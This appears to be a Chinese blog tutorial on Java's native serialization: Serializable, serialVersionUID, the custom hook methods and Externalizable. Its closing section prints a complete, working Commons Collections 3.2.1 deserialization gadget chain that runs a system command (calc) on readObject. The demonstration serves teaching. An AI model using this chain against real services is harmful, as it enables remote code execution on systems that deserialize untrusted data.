JDK序列化机制
序列化和反序列化
序列化:把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。 核心作用是对象状态的保存与重建。
反序列化:客户端从文件中或网络上获得序列化后的对象字节流,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
public static byte[] serialize(Serializable obj) throws IOException {
Objects.requireNonNull(obj, "object to serialize cannot be null");
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
oos.flush();
return bos.toByteArray();
}
}
public static Serializable deserialize(byte[] value) throws IOException, ClassNotFoundException {
Objects.requireNonNull(value, "bytes to deserialize cannot be null");
try (ByteArrayInputStream bis = new ByteArrayInputStream(value);
ObjectInputStream ois = new ObjectInputStream(bis)) {
return (Serializable) ois.readObject();
}
}
使用场景与替代方案
- 适合使用
Serializable的场景
- Java 单一环境内部的对象持久化(如本地文件存储临时对象);
- 简单对象的短期序列化(无跨语言、高安全需求);
- 依赖 Java 原生特性(如对象引用、序列化钩子函数)的场景。
- 不适合的场景(建议替代方案)
- 跨语言 / 跨平台:
Serializable是 Java 专属,推荐用 JSON(Jackson/Gson)、Protobuf; - 高安全需求:
Serializable存在反序列化代码执行漏洞(如 CVE-2015-7501),推荐用无代码执行风险的 JSON/Protobuf; - 高并发 / 高性能:
Serializable序列化效率低、字节流体积大,推荐用 Protobuf(二进制协议,体积小、速度快)。
Serializable 接口
Serializable 是 Java 提供的一个 标记接口(Marker Interface),位于 java.io 包下,核心作用是标识一个类的对象可以被 JDK 原生序列化(即对象 → 字节流的转换,用于持久化存储或网络传输)。
它本身没有任何抽象方法,仅作为 JVM 识别 “可序列化对象” 的 “开关”—— 一个类只要实现 Serializable,就表示它同意 JVM 对其对象进行序列化 / 反序列化;若不实现,则 JVM 会直接抛出 NotSerializableException。
使用规则:
- 类必须实现
Serializable
// 可序列化类(正确)
import java.io.Serializable;
class User implements Serializable {
private String name;
private int age;
// 字段、构造函数、getter/setter...
}
// 不可序列化类(错误)
class UnserializableUser {
// 无 Serializable 实现,序列化时抛 NotSerializableException
}
-
所有非
transient字段必须可序列化,若字段无需序列化(如临时数据、不可序列化的资源对象),用transient修饰(JVM 会忽略该字段): -
若类的字段是引用类型(如自定义对象、集合、数组),则该引用类型也必须实现
Serializable,否则序列化时抛NotSerializableException; -
若字段是基本类型(
int、boolean等)或String(已实现Serializable),则默认支持序列化。
serialVersionUID
serialVersionUID 的作用
- 是 JVM 用于版本兼容校验的 “类唯一标识”,本质是一个
static final long常量; - 序列化时,JVM 会将
serialVersionUID写入字节流;反序列化时,会对比字节流中的serialVersionUID与当前类的serialVersionUID:- 一致:允许反序列化;
- 不一致:抛
InvalidClassException(版本不兼容)。
class User implements Serializable {
// 显式声明 serialVersionUID(任意 long 值,建议用 IDE 自动生成)
private static final long serialVersionUID = 1L;
private String name;
private int age;
}
注意事项:
-
若未显式声明,JVM 会根据类的字段、方法、继承关系、访问权限等自动计算
serialVersionUID;,但是不建议serialVersionUID依赖自动生成:一旦类发生微小修改(如新增字段、修改方法名、调整父类),自动计算的serialVersionUID会巨变,导致旧版本序列化的对象无法反序列化到新版本类(即使核心字段未变)。 -
版本兼容场景
- 兼容场景:显式声明
serialVersionUID后,新增非必需字段、修改方法逻辑,旧对象反序列化到新版本类时,缺失的新字段会取默认值(null/0),不影响核心逻辑; - 不兼容场景:删除字段、修改字段类型(如
int→long)、修改serialVersionUID,反序列化直接失败。
- 特殊类型字段的处理
transient字段:JVM 忽略,不序列化(如敏感字段password、临时数据tempValue);static字段:JVM 不序列化(static是类级变量,不属于对象状态,反序列化后取当前类的静态变量值,而非序列化时的值);- 不可序列化资源(如
Thread、Socket、InputStream):必须用transient修饰,否则序列化失败(这些对象与底层资源绑定,无法通过字节流还原)。
- 实现
Serializable不一定就能序列化:若类的非transient字段是不可序列化类型(未实现Serializable),仍会抛NotSerializableException; serialVersionUID可以是任意long值(如123456789L),建议用 IDE 自动生成(基于类结构计算的唯一值,避免手动指定冲突);同一类的不同版本若要兼容,serialVersionUID必须一致。transient字段一定不会被序列化:默认是,但可通过钩子函数手动序列化:transient仅屏蔽默认序列化,若在writeObject()中手动写入transient字段,仍可被序列化(如敏感字段加密后手动写入)。
序列化中的Hook方法
JDK 在序列化 / 反序列化过程中,JVM 会隐式调用几个特殊方法(无需实现接口,仅需按固定签名定义)。这些方法允许自定义序列化逻辑(如过滤敏感字段、处理复杂对象、版本兼容等),是 JDK 序列化灵活性的核心。
序列化阶段:对象 → 字节流
序列化流程:writeObject() → writeReplace()(可选),最终将对象状态写入字节流。
writeObject
方法定义如下:
private void writeObject(ObjectOutputStream out) throws IOException
- 作用:替代默认全字段序列化,手动控制字段写入(如加密敏感字段、处理非
Serializable字段)。未定义则执行默认序列化(遍历非transient字段)。 - 签名要求(严格匹配):访问权限:
private(其他权限 JVM 不识别),返回值为void,参数仅ObjectOutputStream类型,异常必须声明throws IOException
示例:(敏感字段加密)
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password; // 敏感字段
// 自定义序列化钩子
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 写入非敏感字段(name)
String encryptedPwd = new StringBuilder(password).reverse().toString(); // 模拟加密
out.writeObject(encryptedPwd); // 写入加密后的密码
}
}
writeReplace
方法定义如下:
ANY-ACCESS-MODIFIER Object writeReplace() throws ObjectStreamException
调用时机:writeReplace() 在 writeObject() 之前执行:JVM 先获取替代对象,再对替代对象执行序列化。
- 作用:序列化时替换对象,不直接序列化当前实例,返回替代对象(需实现
Serializable)。 - 典型场景:单例模式序列化(避免反序列化创建新实例)、版本兼容。
- 签名要求:访问权限:任意(
private/public均可),返回值为Object(替代对象),无参数,声明异常throws ObjectStreamException - 示例(单例序列化兼容):
class Singleton implements Serializable {
private static final Singleton INSTANCE = new Singleton();
private Singleton() {} // 私有构造
// 序列化时返回单例实例
private Object writeReplace() throws ObjectStreamException {
return INSTANCE;
}
}
反序列化阶段:字节流 → 对象
反序列化流程:readObject() → readResolve()(可选),最终重建对象实例。
readObject
方法定义如下:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
关键说明:读取顺序必须与 writeObject() 写入顺序一致,否则数据错乱。
- 作用:对应
writeObject(),手动读取字节流字段(如解密敏感字段),未定义则执行默认反序列化。 - 签名要求(严格匹配):访问权限必须为
private,返回值为void,参数仅 1 个且为ObjectInputStream类型,声明异常:throws IOException, ClassNotFoundException - 示例(敏感字段解密):
class User implements Serializable {
// 延续上文,新增反序列化钩子
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 读取默认序列化字段(name)
String encryptedPwd = (String) in.readObject();
this.password = new StringBuilder(encryptedPwd).reverse().toString(); // 解密
}
}
readResolve
方法定义如下:
ANY-ACCESS-MODIFIER Object readResolve() throws ObjectStreamException
readResolve() 在 readObject() 之后执行:JVM 先重建对象,再替换为目标对象。
- 作用:反序列化后替换对象,忽略重建的新实例,返回替代对象(如单例、缓存实例)。
- 典型场景:单例模式反序列化(确保单例不被破坏)。
- 签名要求:同
writeReplace() - 示例(单例反序列化兼容):
class Singleton implements Serializable {
private static final Singleton INSTANCE = new Singleton();
// 反序列化后返回单例实例
private Object readResolve() throws ObjectStreamException {
return INSTANCE;
}
}
反序列化后实例与原单例地址一致(origin == deserialized → true)
readObjectNoData
这个 Hook 方法极少用,简单介绍下。方法定义如下:
private void readObjectNoData() throws ObjectStreamException
- 作用:字节流不包含对象数据(如损坏、版本不兼容)时调用,初始化默认状态。
- 触发场景:字节流缺失当前对象序列化数据(如父类实现
Serializable子类未实现)。 - 示例:
private void readObjectNoData() throws ObjectStreamException {
this.name = "未知";
this.age = 0;
}
Externalizable
Externalizable 继承自 Serializable,通过显式方法完全控制序列化逻辑(侵入性更强,灵活性更高),序列化的对象需实现接口和无参构造。需实现以下两个必须方法:
-
void writeExternal(ObjectOutput out) throws IOException:替代writeObject(),必须手动写入所有需序列化字段(无默认逻辑)。class User implements Externalizable { private String name; private int age; public User() {} // 必须有无参构造函数(反序列化调用) @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeUTF(name); // 手动写入字符串 out.writeInt(age); // 手动写入整数 } } -
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException:作用是替代readObject(),必须按writeExternal()顺序手动读取字段。@Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { this.name = in.readUTF(); // 对应 writeUTF() this.age = in.readInt(); // 对应 writeInt() }
总结
所有 Hook 方法的完整调用顺序
- 序列化:
ObjectOutputStream.writeObject(obj) → 检查 Externalizable → 是则调用 writeExternal() → 否则检查 writeReplace() → 获取替代对象 → 调用替代对象 writeObject() → 写入字节流。
- 反序列化:
ObjectInputStream.readObject() → 检查 Externalizable → 是则无参构造创建对象 → 调用 readExternal() → 否则反射创建对象 → 调用 readObject() → 检查 readResolve() → 替换对象 → 返回结果。
注意事项
- 签名严格匹配:
writeObject()/readObject()必须满足private void + 对应参数,否则视为普通方法。 transient字段:默认序列化忽略,但可通过writeObject()/readObject()手动处理。- 单例兼容:必须配合
writeReplace()/readResolve(),否则序列化会创建新实例。 - 版本兼容:类结构修改(如新增字段)需同步更新钩子函数,避免数据错乱。
- 安全性风险:
readObject()避免执行危险操作(如反射、命令执行),防止恶意字节流注入漏洞。
序列化漏洞
下面来演示一下这个漏洞:
<!-- 存在反序列化漏洞的 Commons Collections 版本 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
示例代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class SerializationVulnerabilityDemo {
public static void main(String[] args) throws Exception {
// 攻击者端
// 1. 构造恶意 Transformer 链:执行 Runtime.getRuntime().exec("calc")(Windows 打开计算器)
Transformer[] transformers = new Transformer[]{
// 第一步:获取 Runtime 类(通过 Class.forName("java.lang.Runtime"))
new ConstantTransformer(Runtime.class),
// 第二步:调用 Runtime.getRuntime() 方法(无参数)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
// 第三步:执行 getRuntime() 方法,获取 Runtime 实例
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
// 第四步:调用 Runtime.exec() 方法,执行 "calc" 命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 2. 包装为 ChainedTransformer(链式执行上述 Transformer)
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 构造 LazyMap:get() 方法会触发 Transformer.transform()
@SuppressWarnings("unchecked")
Map<String, Object> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
// 4. 构造 TiedMapEntry:getValue() 会调用 LazyMap.get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "testKey");
// 5. 构造 BadAttributeValueExpException:readObject() 会调用 TiedMapEntry.getValue()
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
// 通过反射修改 exp 的 val 字段为 TiedMapEntry(绕过构造函数限制)
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, tiedMapEntry);
// 6. 序列化恶意对象到文件(模拟攻击者生成恶意字节流)
final Path path = Paths.get("malicious.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(exp);
out.close();
// 目标系统读取恶意序列化文件(模拟接收攻击者的字节流)
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
// 反序列化:触发 readObject() 调用链,执行恶意代码
Object obj = in.readObject();
in.close();
// 反序列化完成: 弹出计算器
}
}

浙公网安备 33010602011771号